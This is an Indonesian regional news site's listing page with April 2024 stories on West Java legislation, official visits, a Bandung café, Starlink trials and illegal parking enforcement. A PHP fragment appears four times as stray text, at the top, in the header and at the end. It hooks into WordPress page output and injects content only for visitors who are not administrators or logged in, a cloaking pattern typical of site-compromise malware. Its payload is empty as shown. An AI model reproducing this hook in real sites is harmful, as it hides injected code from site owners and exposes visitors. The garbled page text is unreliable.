if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 253 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Bey Machmudin Sampaikan Pendapat terhadap Tiga Ranperda Prakarsa DPRD Jabar

        Jawa Barat, VN – Penjabat Gubernur Jawa Barat Bey Machmudin menghadiri Rapat Paripurna DPRD Provinsi Jabar di gedung DPRD Jabar, Kota Bandung, Selasa (23/4/2024).

    Pada rapat paripurna kali ini, terdapat dua agenda rapat. Pertama, yakni tentang Perubahan Keanggotaan Alat Kelengkapan Dewan dari Fraksi Partai Demokrat.
    Agenda rapat pertama dilaksanakan berdasarkan surat dari Fraksi Partai Demokrat kepada Ketua DPRD Jabar yang menugaskan Andi Zabidi menjadi anggota Badan Pembentukan Peraturan Daerah (Perda) DPRD Jabar menggantikan Dede Chandra Sasmita.
    “Perubahan tersebut ditetapkan pada rapat paripurna kali ini,” ucap Ketua DPRD Jabar Taufik Hidayat.
    Sedangkan agenda rapat kedua, yakni Penyampaian Pendapat Gubernur Jawa Barat terhadap Tiga Rancangan Perda Prakarsa DPRD Jabar.
    Bey Machmudin menyampaikan bahwa dalam Rapat Paripurna DPRD Jabar yang telah dilaksanakan pada 19 April 2024, Badan Pembentukan Peraturan Daerah DPRD Jabar telah menyampaikan Ranperda Prakarsa.
    Pertama, yakni Ranperda tentang Penyelenggaraan Pelindungan Konsumen.
    Kedua, Ranperda tentang Penyelenggaraan Penghormatan, Perlindungan dan Pemenuhan Hak Penyandang Disabilitas.
    Ketiga, Ranperda tentang Tata Kelola Penelitian, Pengembangan dan Penerapan llmu Pengetahuan, dan Teknologi Jawa Barat.
    “Ketiga ranperda prakarsa dimaksud tak lain adalah untuk pelindungan masyarakat dan kemajuan pembangunan daerah Provinsi Jawa Barat,” ucap Bey Machmudin.
    Terkait Ranperda tentang Penyelenggaraan Perlindungan Konsumen, Bey menuturkan bahwa konsepsi dasar dalam penyusunan ranperda ini pada hakikatnya tidak boleh bertentangan dengan ketentuan peraturan perundang-undangan yang lebih tinggi.
    Menurut Bey, dalam pelaksanaannya memerlukan penguatan peran pemda provinsi yang tentunya harus sesuai dengan kewenangan daerah provinsi.
    Maka rumusan Ranperda tentang Penyelenggaraan Pelindungan Konsumen diarahkan agar dapat memberikan perlindungan terhadap hak-hak konsumen serta pengaturan hak dan kewajiban pelaku usaha barang dan penyedia jasa sebagaimana termaktub dalam Undang-Undang Nomor 8 Tahun 1999 tentang Perlindungan Konsumen.
    Sehingga adanya urgensi dan dorongan untuk membentuk Perwakilan Badan Perlindungan Konsumen Nasional (PBPKN) Provinsi, Bey berpandangan harus selaras dengan tugas Badan Perlindungan Konsumen Nasional sebagaimana diatur dalam UU No 8 Tahun 1999.
    “Namun di sisi lain akan beririsan dengan tugas pokok dan fungsi Dinas Perindustrian dan Perdagangan Provinsi Jabar pada Bidang Perlindungan Konsumen serta tugas pokok dan fungsi BPSK (Badan Penyelesaian Sengketa Konsumen),” kata Bey.
    Dengan begitu pengenaan sanksi dalam ranperda tidak boleh bertentangan dengan sanksi yang sudah diatur dalam UU No 8 Tahun 1999 dan perda hanya dapat mengatur sanksi terhadap pelanggaran yang belum diatur dalam undang-undang.
    Terkait Ranperda tentang Penyelenggaraan Penghormatan, Pelindungan dan Pemenuhan Hak Penyandang Disabilitas, Bey berujar bahwa kekhususan pemenuhan hak asasi manusia penyandang disabilitas menjadi perhatian utama untuk menjamin melaksanakan kehidupannya tanpa adanya diskriminasi.
    “Sehingga negara wajib hadir untuk memastikan hak-hak penyandang disabilitas terpenuhi dengan sangat baik,” ucapnya.
    Seiring berjalannya waktu, sambung Bey, Perda No 7 Tahun 2013 perlu diganti untuk diharmonisasikan dengan ketentuan peraturan perundang-undangan yang lebih tinggi serta mampu menanggapi berbagai permasalahan kehidupan penyandang disabilitas di Jabar.
    Dalam hal pemenuhan hak bagi penyandang disabilitas, sebagian telah diejawantahkan dalam beberapa perda lainnya, seperti perda mengenai penyelenggaraan pendidikan, kesehatan, penyelenggaraan perlindungan anak, perhubungan, kepariwisataan, dan ketenagakerjaan.
    Sehingga untuk ranperda ini, Bey menegaskan perlunya peran dan tanggung jawab pemda untuk menyediakan griya/panti sebagai tempat penampungan sementara dan diberikan berbagai fasilitas bagi penyandang disabiltas sampai mereka mampu mandiri.
    “Pengenaan sanksi bagi keluarga penyandang disabilitas yang melakukan penelantaran kepada anggota keluarganya yang menjadi penyandang disabilitas, kiranya perlu untuk dipertimbangkan,” kata Bey.
    “Juga peran serta masyarakat pada penyelenggaraan penghormatan, pelindungan, dan pemenuhan hak penyandang disabilitas,” sambungnya.
    Diselaraskan
    Terakhir, terkait Ranperda tentang Tata Kelola Penelitian, Pengembangan dan Penerapan llmu Pengetahuan,dan Teknologi Jawa Barat, Penjabat Gubernur Jabar mengusulkan untuk dapat diselaraskan kembali menjadi Penyelenggaraan Sistem IImu Pengetahuan dan Teknologi.
    “Argumentasi dasar kami untuk dimohonkannya penyelarasan kembali atas judul ranperda menjadi Penyelenggaraan Sistem llmu Pengetahuan dan Teknologi, terletak pada keberadaan ilmu pengetahuan dan teknologi tidak dapat dibatasi oleh locus atau wilayah, namun arah dan pelaksanaan kebijakannya yang dapat dibatasi oleh kewenangan daerah,” tuturnya.
    Maka sesuai dengan amanat UU No 11 Tahun 2019 mewajibkan pemda mengembangkan invensi dan inovasi sehingga substansi pokok dalam ranperda dapat dilakukan pengembangan dan penyelarasan dalam hal pemda untuk bersinergi dalam memfasilitasi pengembangan inkubasi teknologi, kemitraan industri hingga pengembangan kawasan ilmu pengetahuan dan teknologi sesuai dengan kesiapan dan keunggulan daerah.
    “Oleh karena itu, selayaknya arah ranperda adalah harmonisasi kebijakan dan strategi provinsi pada upaya pengembangan ilmu pengetahuan dan teknologi yang sesuai dengan kearifan lokal, termasuk pembinaan pendayagunaan ilmu pengetahuan dan teknologi,” ujar Bey Machmudin. (h.jbr)
  • Wakil Presiden RI Kunjungan Kerja Ke Kota Bandung, Pj Wali Kota Sambut Hangat

        Bandung, VN – Kedatangan Wakil Presiden Ma’ruf Amin bersama istri, Wury Estu Handayani Ma’ruf Amin di Hotel Pullman Selasa 23 April 2024, disambut oleh Penjabat Wali Kota Bandung, Bambang Tirtoyuliono. Dengan penuh keakraban, Bambang Tirtoyuliono berbincang dengan Ma’ruf Amin.

    Ma’ruf Amin memiliki beberapa agenda di Kota Bandung. Salah satunya menghadiri pengukuhan Komite Daerah Ekonomi dan Keuangan Syariah (KDEKS) di Aula Barat Gedung Sate, Selasa 23 April 2024.
    Setelah itu, Ma’ruf Amin juga akan membuka secara langsung Rapat Koordinasi Nasional (Rakornas) Penanggulangan Bencana di Hotel Pullman Bandung, Rabu 24 April 2024 besok.
    Kunjungan Wapres ke Kota Bandung akan berlangsung selama dua hari mulai Selasa-Rabu, 23-24 April 2024.
    “Semoga kunjungan ini akan memberikan dorongan positif bagi pembangunan dan kemajuan serta kesejahteraan masyarakat kota Bandung,” kata Bambang.
    Menggunakan Kereta Cepat Whoosh, Ma’ruf Amin beserta rombongan tiba di Stasiun Kereta Api Padalarang Kabupaten Bandung Barat Pukul 15.05 WIB dan disambut Pj Gubernur Jawa Barat, Bey Machmudin beserta istri.
    Pada pukul 16.00 WIB Wapres didampingi Pj Gubernur melakukan pengukuhan Komite Daerah Ekonomi dan Keuangan Syariah (KDEKS) di Aula Barat Gedung Sate.
    Pada hari kedua kunjungan kerjanya di Kota Bandung, Wapres akan melakukan peresmian Rapat Koordinasi Nasional (Rakornas) Penanggulangan Bencana di Hotel Pullman Bandung pada pukul 10.00 WIB.
    Wapres diagendakan kembali ke Jakarta, pada pukul 12.00 WIB, dengan menggunakan kereta cepat. (sumber:dskoinfo.bdg)
  • HARI JADI SUMEDANG, Bey Machmudin Ingin Sumedang Kembali Menjadi Paradijs van Java

        Penjabat Gubernur Jawa Barat Bey Machmudin berharap Kabupaten Sumedang bisa kembali menjadi ‘Paradijs van Java’ atau surga dari Jawa yang dulu sempat melekat pada daerah ini.

    Hal itu disampaikan Bey saat memberikan sambutan pada rapat Paripurna Istimewa DPRD dalam rangka Hari Jadi ke – 446 Kabupaten Sumedang, Senin (22/4/2024).
    “Selamat Ulang Tahun yang ke-446 untuk Kabupaten Sumedang semoga dalam perjalanan ke depan, semangat kebersamaan dan kerja keras kita dapat membawa Sumedang kembali menjadi ‘Paradijs van Java,” ucap Bey.
    Bukti yang menggambarkan bahwa Sumedang seperti surga ditemukan dalam sebuah buku berjudul ‘Het Paradijs van Java’ yang ditulis seorang penulis ternama asal Belanda bernama Wijnand Kerkhoff.
    Buku tersebut, merupakan satu-satunya tulisan yang memberikan gambaran bagaimana sesungguhnya potensi wisata ekologi dan budaya Kabupaten Sumedang di masa lalu.
    Bey mengatakan, julukan Paradijs van Java sebenarnya masih relevan disandang Sumedang. Menurutnya kabupaten yang terbentuk pada 22 April 1578 kaya sumber alam yang indah dan budaya yang kental ditengah era modern saat ini.
    “Saya yakin dengan sinergi dari semua pihak Sumedang bisa Sumedang akan menjadi daerah terbaik dengan julukan Paradijs van Java-nya,” ujarnya.
    Pemda Provinsi Jabar, kata Bey, akan terus mendukung kemajuan Sumedang. Berbagai program pembangunan di Kabupaten Sumedang akan terus dijalankan, seperti peningkatan infrastruktur, kualitas pendidikan dan kesehatan, serta pengembangan ekonomi kerakyatan.
    “Pemerintah Provinsi Jawa Barat tentu akan terus berkomitmen untuk mendukung kemajuan Kabupaten Sumedang,” katanya.
    Rapat paripurna istimewa ini merupakan puncak peringatan Hari Jadi ke – 446 Kabupaten Sumedang setelah berbagai acara digelar sejak beberapa hari lalu.
    Peringatan hari jadi tahun ini mengusung tema ‘Sabilulungan Rempug Jukung Sauyunan dina Ngawujudkeun Sumedang Beyond Sehati.
    “Semoga tidak hanya sekadar menjadi slogan, tetapi juga menjadi pijakan bagi setiap langkah yang diambil untuk membangun Sumedang yang lebih baik,” harap Bey. (h.jbr)
  • MUSRENBANG 2024, Sekda Jabar: Penyusunan RPJPD 2025 – 2045 Jadi Pertaruhan Jabar

        Sekda Jabar Herman Suryatman mengatakan Musyawarah Rencana Pembangunan (Musrenbang) RPJPD 2025 – 2045 merupakan fase kritis dan jadi pertaruhan Jabar karena ada bonus demografi.

    “Tekad kita sebagaimana visi Rencana Pembangunan Jangka Panjang Daerah (RPJPD) 2025 – 2045, Jabar menjadi provinsi termaju, tentu harus berkorelasi, harus bersinergi dengan skenario nasional yang sudah didesain,” ujar Herman Suryatman pada acara Musrenbang 2024, di Trans Luxury Hotel, Kota Bandung, Senin (22/4/2024).
    Musrenbang tahun ini juga spesial karena dihadiri Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menteri PAN RB) Abdullah Azwar Anas.
    Herman mengatakan, Pemdaprov Jabar akan menjadi yang terdepan dalam perencanaan pembangunan, sampai tahap berikutnya yakni pengorganisasian, eksekusi, sampai monitoring dan evaluasi.
    “Starting pointnya adalah perencanaan pembangunan, karena itu kita harus sukses berencana, berarti kita merencanakan untuk sukses,” cetus Herman.
    Herman mengatakan Pemdaprov Jabar saat ini diminta Menteri PAN RB untuk menjadi role model dalam menjalankan reformasi birokrasi.
    “Faktanya reformasi birokrasi Jabar adalah salah satu yang terbaik di tingkat nasional, ini tentu harus kita jaga, harus kita pertahankan dan paling substansial adalah bagaimana berdampak terhadap kesejahteraan masyarakat,” katanya.
    “Bukan hanya indeksnya saja yang tinggi, yang paling penting reformasi birokrasi ini memberi efek berdampak pada peningkatan kesejahteraan, salah satunya mengurangi pengangguran,” tambahnya.
    Menurutnya, angka pengangguran Jabar saat ini 7,4 persen dan Indeks Ratio Gini di angka 0,42 persen. Herman berharap angka tersebut dapat diturunkan.
    “Harapannya kita bisa turunkan secara signifikan, kita akan turunkan sehingga Jawa Barat menjadi provinsi termaju,” tutupnya. (h,jbr)
  • Plh Sekda Ajak Seluruh Pihak Jaga Kota Bandung Sebagai Paris van Java

        Pelaksana Harian Sekretaris Daerah Kota Bandung, Hikmat Ginanjar mengajak khususnya kepada jajaran organisasi perangkat daerah (OPD) Pemerintah Kota Bandung untuk bahu membahu menjaga wajah Kota Bandung sebagai Paris van Java.

    Hal itu disampaikannya dalam Rapat Koordinasi di Ruang Tengah Balai Kota Bandung, Senin 22 April 2024.
    “Mari kita kembalikan Kota Bandung sebagai Paris van Java,” ajak Hikmat.
    Berbagai aspek dibahas dalam rapat tersebut, antara lain soal ketahanan pangan, reformasi birokrasi, penanganan parkir liar, pengelolaan sampah, pemeliharaan taman-taman kota, pemeliharaan pohon, ketentraman dan ketertiban, kesehatan (khususnya kasus DBD), serta estetika Kota Bandung.
    “Mari berikan kontribusi bagi Kota Bandung. Supaya Kota Bandung kembali sesuai dengan harapan publik. Lakukan pelayanan sebaik-baiknya,” pesan Hikmat.
    Ia juga menambahkan, di era keterbukaan informasi dan pesatnya arus informasi, kecepatan OPD dalam merespons keluhan masyarakat sangat diperlukan.
    Menurutnya, warga yang lebih kritis saat ini perlu direspons dengan cepat dan juga tepat.

    Selain itu, Hikmat juga berpesan agar seluruh jajaran Pemkot Bandung menjaga konsistensi dalam memberikan kontribusi positif, serta saling berkolaborasi satu sama lain.
    Ia mencontohkan, misalnya di level kewilayahan (kecamatan). Setiap wilayah di Kota Bandung memiliki karakteristiknya tersendiri. Menurutnya, penanganan masalah di setiap wilayah memerlukan pendekatan berbeda.
    Meski begitu, ia tetap berpesan pada kecepatan dan ketepatan pelayanan publik. Hikmat menekankan aspek ini harus terpenuhi secara maksimal.
    “Boleh jadi perasaan kita sudah maksimal (memberikan pelayanan). Tetapi, masyarakat bisa saja menilai masih ada kekurangan. Itu wajar, namun bagaimana caranya kita merespons akan keluhan masyarakat,” pesannya. (sumber:dskoinfo.bdg)
  • Nikmati Pengalaman Meeting Sambil Ngopi di By Taboo, di Jalan Talaga Bodas No. 53 Bandung

        Di tengah pesatnya perkembangan budaya kopi di Kota Bandung, By Taboo hadir dengan konsep unik untuk para pebisnis dan penggemar kopi.

    Dengan biaya terjangkau sebesar Rp350 ribu, kini wargi bisa menikmati pengalaman meeting yang berbeda sambil menikmati kopi berkualitas.
    By Taboo menawarkan suasana industrial Jepang yang nyaman dan santai, cocok untuk berdiskusi dan bertukar ide. Apalagi By Taboo berlokasi di pusat kota tepatnya di Jalan Talaga Bodas No. 53.
    “By Taboo hadir di Bandung sebagai coffee shop sejak 2016. Namun pada Mei 2021 konsepnya berubah menjadi Industrial Japanese yang homey,” jelas Manajer Operasional By Taboo, Daniel Alexander.
    Salah satu keunggulan By Taboo adalah kehadiran meeting room yang bisa digunakan dengan minimal pembelian sebesar Rp350 ribu.
    “Andalan by taboo saat ini adalah konsep meeting roomnya, mulai dari Rp350 ribu saja pelanggan sudah bisa melakukan pertemuan dengan kliennya di sini,” ungkap Daniel.

    By Taboo memiliki 3 spesialisasi menu kopi susu di antanyara: Iced Coffee Taboo, Mrs. Sweet dan Golden Rhum.
    Dengan fokus pada pekerja kantoran, By Taboo mencari grup-grup untuk mengisi ruang pertemuan mereka.
    Tidak hanya kopi saja, tetapi ada juga menu makanan dasar seperti rice ball dan pasta, serta beragam mocktails yang menyegarkan.
    Harga di By Taboo sangat terjangkau. Mulai dari Rp19 ribu hingga Rp33 ribu untuk minuman dan dari Rp19 ribu hingga Rp40 ribu untuk makanan.
    Tempat ini buka mulai pada pukul 09.00 – 22.00 WIB. Yuk kita merapat ke sana.(sumber:dskoinfo.bdg)

  • Uji Coba Konektivitas Digital IKN, Kominfo Apresiasi Dukungan TBI

        Pemerintah berupaya memeratakan konektivitas digital di Indonesia dengan memanfaatkan beragam teknologi terbaru. Salah satu prioritas penyediaan konektivitas digital dengan memanfaatkan teknologi satelit Low Earth Orbit (LEO).

    Menteri Komunikasi dan Informatika Budi Arie mengapresiasi dukungan Tony Blair Institute for Global Change (TBI) dalam uji coba yang akan berlangsung dalam di bulan Mei 2024.
    “Dalam konteks kondisi geografis yang beragam di Indonesia, kita harus memilih teknologi yang sesuai. Teknologi satelit bisa menjadi solusi yang lebih ekonomis,” ungkapnya ungkapnya usai pertemuan dengan Tony Blair di Kantor Kementerian Kominfo, Jakarta Pusat, Jumat (19/04/2024).
    Menteri Budi Arie menyatakan dukungan TBI akan memudahkan implementasi konektivitas digital di Ibu Kota Nusantara (IKN) dan pengembangan IKN sebagai smart city.
    “Kami menyambut baik dukungan dari TBI dalam pelaksanaan uji coba internet Starlink di IKN. TBI menyediakan sejumlah perangkat yang akan terpasang di berbagai titik lokasi,” ujarnya.
    Wamenkominfo Nezar Partia menambahkan TBI akan membuat studi mengenai kedaulatan dan keamana data berkaitan dengan penggunaan teknologi satelit.
    “Bukan cuman Starlink sebenarnya. Tapi lebih pada konektivitas. Starlink hanya salah satu contoh konektivitas yang tadi kita diskusikan secara teknologi dia proven apa enggak untuk mengatasi problem konektivitas di daerah yang tertinggal, terdepan, terluar (3T),” ungkapnya.
    Sebelumnya, Menkominfo Budi Arie Setiadi menerima Founder dan Executive Chairman Tony Blair Institute for Global Change (TBI). Pembahasan dalam pertemuan itu berkaitan dengan intensifikasi kerja sama pemanfaatan teknologi dan perluasan konektivitas digital nasional.
    Country Director TBI Indonesia Shuhaela Haqim menyatakan pertemuan tersebut merupakan langkah awal untuk perumusan inisiatif peyediaan akses internet yang lebih luas di Indonesia.
    “Dukungan kami pada uji coba di IKN merupakan bagian dari komitmen kami yang lebih luas untuk mewujudkan visi Indonesia sebagai bangsa digital yang maju,” ungkapnya.
    Shuhaela Haqim mendukung penuh upaya akselerasi transformasi digital di Indonesia dengan pembangunan infrastruktur digital yang berkelanjutan.
    “Dukungan dari TBI mencerminkan komitmen bersama untuk menerapkan solusi teknologi yang inovatif. Ini bertujuan untuk memanfaatkan penuh potensi digital Indonesia dan mempromosikan ekosistem digital yang inklusif dan berkelanjutan,” tuturnya.
    Dalam kunjungan selama dua hari di Jakarta, Tony Blair juga melakukan pertemuan tertutup dengan Presiden Republik Indonesia Joko Widodo di Istana Negara Jakarta Pusat. Selanjutnya, juga bertemu dengan Menteri Pertahanan Republik Indonesia Prabowo Subianto di Kantor Kementerian Pertahanan Jakarta Pusat. (sumber:kemenkoinfo)
  • Kabid Humas Polda Jabar : Dua Pungli Jalanan Kembali di Tindak Saber Pungli Kabupaten Bandung di Pasar Malam Gading Tutuka

        Kabid Humas Polda Jabar Kombes Pol. Jules Abraham Abast S.I.K. mengatakan bahwa Tim Saber Pungli Kabupaten Bandung kembali melakukan penindakan terhadap praktik pungutan liar (pungli) jalanan di wilayah Gading Tutuka Soreang Kabupaten Bandung pada Sabtu (20/4/24).

    Ketua UPP Saber Pungli Kabupaten Bandung AKBP Maruly Pardede mengatakan, praktik Pungutan Liar (Pungli) jalanan ini kembali ditindak di area Pasar Malam Gading Tutuka Soreang.
    “Kami lakukan tindakan terhadap pungli yang dilakukan tukang parkir liar jalanan dan kali ini di wilayah Soreang yang berlokasi di Gading Tutuka,” ujar Maruly dalam keterangannya. Sabtu, 20 April 2024.
    Ia menjelaskan hal ini berawal dari laporan masyarakat, bahwa adanya pungli jalanan yang meresahkan di depan Pasar Malam Gading Tutuka yang dilakukan oleh tukang parkir.
    “Tim Saber Pungli Kabupaten Bandung langsung melakukan klarifikasi kepada tukang parkir di kawasan tersebut,” terangnya.
    “Akhirnya, masing-masing kami lakukan tindakan kepada dua orang yang diduga melakukan pungli jalanan di kawasan Gading Tutuka,” jelasnya.
    “Keduanya berinisial OB dan A kerap melakukan pungli parkir liar dan meresahkan masyarakat,” sambungnya.
    Ia menambahkan petugas parkir liar tersebut telah meminta uang parkir yang nilainya tidak sesuai dengan peraturan daerah.
    Atas perbuatannya, tim Saber Pungli melakukan penindakan terhadap kepada kedua yang diduga melakukan pungli jalanan tersebut.
    “Mereka diberikan pembinaan dan membuatkan surat pernyataan agar tidak melakukan perbuatan yang sama kembali,” pungkasnya.(h.polda,jbr)
  • Lepas Bandung bjb Tandamata Berkompetisi di Proliga 2024, Bey Machmudin: Jaga Kekompakan dan Sportivitas

        Penjabat (Pj.) Gubernur Jawa Barat Bey Machmudin melepas Bandung bjb Tandamata untuk berkompetisi pada Proliga 2024 di Menara bjb Naripan, Kota Bandung, Minggu (21/4/2024).

    Dalam sambutannya, Bey menuturkan bahwa prestasi Bandung bjb Tandamata akan menjadi kebanggaan bagi masyarakat Jabar.
    “Prestasi mereka luar biasa, dan semangat juang yang tidak kenal lelah telah membawa nama baik Provinsi Jawa Barat di kancah nasional,” kata Bey.
    Bandung bjb Tandamata sudah berhasil menorehkan prestasi yang membanggakan dengan meraih gelar juara Proliga dua tahun berturut-turut yakni pada 2022 dan 2023. Bey berharap Bandung bjb Tandamata dapat mempertahankan gelar juara dan menorehkan hattrick.
    “Prestasi itu merupakan bukti kerja keras mereka, dedikasi, dan sportivitas dari pemain, pelatih dari tim bjb Tandamata,” ucap Bey.
    Bey menilai kompetisi Proliga sebagai ajang penting untuk Bandung bjb Tandamata memperkuat solidaritas, semangat berkompetisi, dan kesempatan untuk para atlet mengejar mimpi menjadi juara
    “Saya sampaikan apresiasi setinggi-tingginya kepada seluruh anggota tim, pelatih, dan staf pendukung yang telah bekerja keras untuk mencapai tingkat prestasi ini,” tuturnya.
    Bey optimistis, dengan menjaga kekompakan, berlatih sungguh-sungguh, dan menjaga kondisi tubuh, Bandung bjb Tandamata akan meraih hasil maksimal pada tahun ini.
    “Pesan saya jaga sportivitas, kehormatan dengan semangat pantang menyerah dan motivasi yang tinggi, semoga tim bola voli bjb Tandamata dapat meraih kemenangan dalam kejuaraan Proliga tahun ini,” ucapnya.
    “Olahraga bersama dan tentunya harus solid dan bersatu, jaga kekompakan yang kuat di lapangan lebih kompak lagi dan kekompakan ini harus tetap dijaga,” imbuhnya. (sumber:h.jbr)
  • Lantik Tiga Penjabat Kepala Daerah, Bey Machmudin Ingatkan Komitmen Melayani Masyarakat

        Penjabat Gubernur Jawa Barat Bey Machmudin melantik Pj Wali Kota Bogor, Pj Bupati Ciamis, dan Pj Bupati Sumedang di Aula Barat Gedung Sate, Kota Bandung, Sabtu (20/4/2024).

    Kepala Badan Pengembangan Sumber Daya Manusia (BPSDM) Jabar Hery Antasari menjadi Pj Wali Kota Bogor, Staf Ahli Gubernur Bidang Pemerintahan Hukum dan Politik Pemdaprov Jabar Engkus Sutisna menjadi Pj Bupati Ciamis, dan Plh Kepala Pusat Penerangan (Kapuspen) Kementerian Dalam Negeri Yuda Ramli menjadi Pj Bupati Sumedang.
    Bey mengingatkan pentingnya integritas dan transparansi dalam menjalankan tugas sebagai kepala daerah. Kepemimpinan harus didasarkan prinsip moral yang tinggi.
    “Kita harus berkomitmen untuk melayani masyarakat dengan penuh dedikasi dan tanpa pamrih serta menjaga kepercayaan masyarakat,” kata Bey.
    Selain itu, dalam menjalankan roda pemerintahan, ia mengingatkan efisiensi dan efektivitas menjadi pedoman utama dalam memimpin.
    “Tidak ada ruang untuk pemborosan dan administrasi yang lamban dalam mewujudkan visi pembangunan daerah. Setiap keputusan yang diambil pada akhirnya untuk kesejahteraan masyarakat,” ujarnya.
    Dalam sambutannya, Bey meminta kepada penjabat yang baru dilantik agar mendengarkan keluhan dan masukan dari masyarakat selama 24 jam sehari.
    “Saya meminta kepada penjabat yang baru dilantik agar sering ke lapangan untuk mendengarkan keluhan dan masukan dari masyarakat serta membuka pintu komunikasi selama 24 jam sehari dan tujuh hari seminggu untuk berkomunikasi dengan masyarakat,” sebut Bey.
    Ia mengingatkan untuk mengutamakan kepentingan masyarakat dalam setiap keputusan yang dibuat.
    “Kita adalah pelayan masyarakat. Tugas kita memastikan suara dan kebutuhan masyarakat selalu didengar dan diprioritaskan,” tambahnya.
    Ia berharap amanah yang telah diberikan kepada penjabat yang dilantik akan membawa kemajuan dan kesejahteraan yang lebih baik untuk masyarakat.
    “Harapan besar masyarakat tentunya tertumpu kepada Saudara sebagai pemimpin daerah,” tutup Bey. *sumber:h.jbr)
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);